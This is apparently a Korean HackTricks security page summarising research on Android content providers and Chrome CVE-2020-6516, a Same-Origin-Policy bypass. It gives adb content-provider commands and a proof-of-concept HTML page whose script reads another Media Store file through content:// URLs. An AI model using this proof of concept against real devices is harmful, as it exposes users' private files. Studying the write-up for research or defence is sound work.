6.1 KiB
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- Hacking 트릭을 공유하려면 PR을 HackTricks 및 HackTricks Cloud 깃허브 저장소에 제출하세요.
이것은 https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/의 게시물 요약입니다.
미디어 스토어에서 파일 목록 나열하기
미디어 스토어에서 관리되는 파일을 나열하려면 다음 명령을 사용할 수 있습니다:
$ content query --uri content://media/external/file
인덱싱된 각 파일의 식별자와 경로만 표시하여 더 사용자 친화적인 출력을 위해:
$ content query --uri content://media/external/file --projection _id,_data
콘텐츠 제공자는 자체 개인적인 네임스페이스에 격리되어 있습니다. 제공자에 대한 액세스는 특정한 content://
URI를 필요로 합니다. 제공자에 액세스하기 위한 경로 정보는 애플리케이션 매니페스트나 Android 프레임워크의 소스 코드에서 얻을 수 있습니다.
Chrome의 콘텐츠 제공자 액세스
Android에서 Chrome은 content://
스킴을 통해 콘텐츠 제공자에 액세스할 수 있으며, 이를 통해 제3자 애플리케이션이 내보낸 사진이나 문서와 같은 리소스에 액세스할 수 있습니다. 이를 설명하기 위해 파일을 미디어 스토어에 삽입한 다음 Chrome을 통해 액세스할 수 있습니다:
미디어 스토어에 사용자 정의 항목 삽입:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
새로 삽입된 파일의 식별자를 확인하세요:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
파일은 파일의 식별자를 사용하여 구성된 URL을 사용하여 Chrome에서 볼 수 있습니다.
예를 들어, 특정 애플리케이션과 관련된 파일을 나열하려면:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Same-Origin-Policy 우회
Same Origin Policy (SOP)는 브라우저에서 웹 페이지가 다른 출처의 리소스와 상호 작용하는 것을 제한하는 보안 프로토콜입니다. 이는 명시적으로 Cross-Origin-Resource-Sharing (CORS) 정책에 의해 허용되지 않는 한 정보 누출과 사이트 간 요청 위조를 방지하기 위한 것입니다. Chrome은 content://
을 로컬 스킴으로 간주하여 더 엄격한 SOP 규칙을 적용하며, 각 로컬 스킴 URL은 별도의 출처로 처리됩니다.
그러나 CVE-2020-6516은 Chrome에서 content://
URL을 통해 로드된 리소스에 대한 SOP 규칙 우회를 허용하는 취약점이었습니다. 실제로 content://
URL에서 로드된 JavaScript 코드는 SOP 규칙을 우회하여 다른 content://
URL을 통해 로드된 리소스에 액세스할 수 있었으며, 특히 Android 10 이전 버전에서 스코프 저장소가 구현되지 않은 Android 기기에서는 이러한 보안 문제가 심각한 우려였습니다.
아래의 증명 코드는 이 취약점을 보여주는 것으로, HTML 문서는 /sdcard에 업로드된 후 미디어 스토어에 추가되며, JavaScript에서 XMLHttpRequest
를 사용하여 미디어 스토어의 다른 파일의 내용을 액세스하고 표시하여 SOP 규칙을 우회합니다.
증명 코드 HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.